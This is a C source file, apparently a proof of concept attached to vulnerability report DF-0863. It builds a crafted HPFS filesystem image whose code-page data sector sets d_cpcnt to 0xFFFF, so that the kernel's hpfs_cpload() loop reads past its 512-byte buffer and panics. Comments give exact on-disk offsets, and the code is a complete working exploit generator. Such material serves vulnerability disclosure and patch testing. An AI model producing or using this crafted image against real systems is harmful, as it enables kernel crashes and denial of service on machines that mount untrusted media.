DF-0863 / craft_img.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 | /* * DF-0863 PoC image crafter. * * Builds a minimal HPFS filesystem image whose Code-Page Data Sector * (struct cpdsec, sys/vfs/hpfs/hpfs.h:283) carries: * * d_cpfirst = 0 * d_cpcnt = 0xFFFF <-- far larger than nitems(d_cpdblk) == 3 * * which makes hpfs_cpload()'s loop walk past the fixed-size d_cpdblk[3] * array and past the end of the 512-byte bp->b_data buffer: * * sys/vfs/hpfs/hpfs_subr.c:228 * for (i=cpdsp->d_cpfirst; i<cpdsp->d_cpcnt; i++) { * if (cpdsp->d_cpdblk[i].b_cpid == cpibp->b_cpid) { <-- OOB read * bcopy(cpdsp->d_cpdblk + i, cpdbp, sizeof(struct cpdblk)); * ... * * The struct cpdsec layout in memory: * +0 d_magic u32 (CPD_MAGIC 0x894521F7) * +4 d_cpcnt u16 <-- ATTACKER VALUE (0xFFFF) * +6 d_cpfirst u16 <-- ATTACKER VALUE (0) * +8 d_checksum[3] u32*3 * +20 d_offset[3] u16*3 * +26 d_cpdblk[3] struct cpdblk[3] (sizeof(cpdblk)==136 -> 3*136=408) * * => d_cpdblk occupies bytes [26 .. 434) of the on-disk cpd_sec. * The DEV_BSIZE bread() in hpfs_cpload() allocates exactly 512 bytes * for bp->b_data. Reading d_cpdblk[i].b_cpid (offset 26 + i*136 + 2): * i=0,1,2 : in-bounds (the legit 3 entries) * i=3 : b_cpid at byte 436 -- STILL inside the 512-byte buffer * i=4 : b_cpid at byte 572 -- OOB past bp->b_data * i=5.. : further OOB; crosses page boundary -> panic * * Layout written (all little-endian, x86): * sector 0x10 (off 0x2000): SuperBlock (magic + small su_btotal + bitmap ptrs) * sector 0x11 (off 0x2200): SpareBlock (magic + sp_cpi=0x30 + sp_cpinum=1) * sector 0x20 (off 0x4000): BitMap dir (lsn1 -> 0x21) * sector 0x21 (off 0x4200): BitMap data (BMSIZE = 4 sectors of zeros) * sector 0x30 (off 0x6000): CPI sector (s_cpicnt=1, s_cpi[0].b_cpdsec=0x40, * b_cpid=0xCAFE) * sector 0x40 (off 0x8000): CPD sector (d_cpcnt=0xFFFF, d_cpfirst=0, * d_cpdblk[0..2].b_cpid = 0 != 0xCAFE) * * The image is 256 KiB (512 sectors) so every referenced lsn is readable. */ #include <stdio.h> #include <stdlib.h> #include <stdint.h> #include <string.h> #define SUBLOCK 0x10 #define SPBLOCK 0x11 #define BMDIR_SEC 0x20 #define BMDATA_SEC 0x21 #define CPI_SEC 0x30 #define CPD_SEC 0x40 #define SECTOR 512 #define IMG_SECTORS 512 /* 256 KiB */ #define SU_MAGIC 0xFA53E9C5F995E849ULL #define SP_MAGIC 0xFA5229C5F9911849ULL #define CPI_MAGIC 0x494521F7u #define CPD_MAGIC 0x894521F7u #define TRIGGER_CPCNT 0xFFFFu #define SEARCH_CPID 0xCAFEu static void put_u16(unsigned char *p, uint16_t v) { p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; } static void put_u32(unsigned char *p, uint32_t v) { p[0] = v & 0xff; p[1] = (v >> 8) & 0xff; p[2] = (v >> 16) & 0xff; p[3] = (v >> 24) & 0xff; } static void put_u64(unsigned char *p, uint64_t v) { for (int i = 0; i < 8; i++) p[i] = (v >> (8 * i)) & 0xff; } int main(int argc, char **argv) { const char *out = (argc > 1) ? argv[1] : "crafted.img"; uint32_t cpcnt = (argc > 2) ? (uint32_t)strtoul(argv[2], NULL, 0) : TRIGGER_CPCNT; unsigned char *img = calloc(IMG_SECTORS, SECTOR); if (!img) { perror("calloc"); return 1; } /* ---- SuperBlock at sector 0x10 ---- */ unsigned char *su = img + SUBLOCK * SECTOR; put_u64(su + 0, SU_MAGIC); su[8] = 2; /* su_hpfsver */ put_u32(su + 12, 0x10); /* su_rootfno */ put_u32(su + 16, 0x80); /* su_btotal = 128 (small, valid) */ put_u32(su + 20, 0); /* su_badbtotal */ put_u32(su + 24, BMDIR_SEC); /* su_bitmap.lsn1 */ put_u32(su + 28, BMDIR_SEC); /* su_bitmap.lsn2 */ /* su_badbl rsp_t { lsn1 @ +32, lsn2 @ +36 } */ put_u32(su + 32, BMDATA_SEC); put_u32(su + 36, BMDATA_SEC); /* ---- SpareBlock at sector 0x11 ---- sp_magic @ +0 sp_flag @ +8 (u16) sp_mmcontf @ +10 (u8) unused @ +11 sp_hf @ +12 (lsn_t u32) sp_hfinuse@ +16, sp_hfavail @ +20, sp_spdbavail @ +24, sp_spdbmax @ +28 sp_cpi @ +32 (lsn_t u32) sp_cpinum @ +36 (u32) <-- 1 (must be > 0 to drive cpinit into the loop) */ unsigned char *sp = img + SPBLOCK * SECTOR; put_u64(sp + 0, SP_MAGIC); put_u32(sp + 32, CPI_SEC); /* sp_cpi -> CPI sector */ put_u32(sp + 36, 1); /* sp_cpinum = 1 */ /* ---- BitMap directory at sector 0x20 ---- First 4 bytes = lsn of the BitMap data band (dbnum=1 here). */ put_u32(img + BMDIR_SEC * SECTOR + 0, BMDATA_SEC); /* BitMap data band (sectors 0x21..0x24) is left zeroed -> dbavail=0, fine. */ /* ---- CPI sector at sector 0x30 ---- struct cpisec: +0 s_magic u32 (CPI_MAGIC) +4 s_cpicnt u32 = 1 +8 s_cpifirst u32 = 0 +12 s_next lsn_t = 0 +16 s_cpi[0x1F] array of struct cpiblk (sizeof==16) s_cpi[0]: +0 b_country u16 = 0 +2 b_cpid u16 = SEARCH_CPID (what hpfs_cpinit asks hpfs_cpload to find) +4 b_checksum u32 = 0 +8 b_cpdsec lsn_t = CPD_SEC +12 b_vcpid u16 = SEARCH_CPID +14 b_dbcscnt u16 = 0 */ unsigned char *cpis = img + CPI_SEC * SECTOR; put_u32(cpis + 0, CPI_MAGIC); put_u32(cpis + 4, 1); /* s_cpicnt = 1 */ put_u32(cpis + 8, 0); /* s_cpifirst = 0 */ put_u32(cpis + 12, 0); /* s_next = 0 */ put_u16(cpis + 16 + 0, 0); /* s_cpi[0].b_country */ put_u16(cpis + 16 + 2, SEARCH_CPID); /* s_cpi[0].b_cpid */ put_u32(cpis + 16 + 4, 0); /* s_cpi[0].b_checksum */ put_u32(cpis + 16 + 8, CPD_SEC); /* s_cpi[0].b_cpdsec */ put_u16(cpis + 16 + 12, SEARCH_CPID); /* s_cpi[0].b_vcpid */ put_u16(cpis + 16 + 14, 0); /* s_cpi[0].b_dbcscnt */ /* ---- CPD sector at sector 0x40 ---- <-- THE TRIGGER struct cpdsec: +0 d_magic u32 (CPD_MAGIC) +4 d_cpcnt u16 = TRIGGER (0xFFFF) +6 d_cpfirst u16 = 0 +8 d_checksum[3] (u32*3 = 12 bytes) +20 d_offset[3] (u16*3 = 6 bytes) +26 d_cpdblk[3] (3 * struct cpdblk) d_cpdblk[*].b_cpid all left == 0 (no match -> loop runs to completion, walking OOB past the buffer). */ unsigned char *cpds = img + CPD_SEC * SECTOR; put_u32(cpds + 0, CPD_MAGIC); put_u16(cpds + 4, (uint16_t)cpcnt); /* d_cpcnt = 0xFFFF (TRIGGER) */ put_u16(cpds + 6, 0); /* d_cpfirst = 0 */ FILE *f = fopen(out, "wb"); if (!f) { perror("fopen"); free(img); return 1; } if (fwrite(img, 1, IMG_SECTORS * SECTOR, f) != (size_t)(IMG_SECTORS * SECTOR)) { perror("fwrite"); fclose(f); free(img); return 1; } fclose(f); free(img); printf("[craft] wrote %s sp_cpinum=1 d_cpcnt=0x%04x d_cpfirst=0\n", out, (unsigned)cpcnt); printf("[craft] hpfs_cpload loop: for(i=0; i<0x%04x; i++) reads d_cpdblk[i];\n", (unsigned)cpcnt); printf("[craft] i=0..2 in-bounds; i=3 still in 512B buffer; i>=4 OOB past bp->b_data;\n"); printf("[craft] crosses page boundary within ~30 iters -> panic\n"); return 0; } |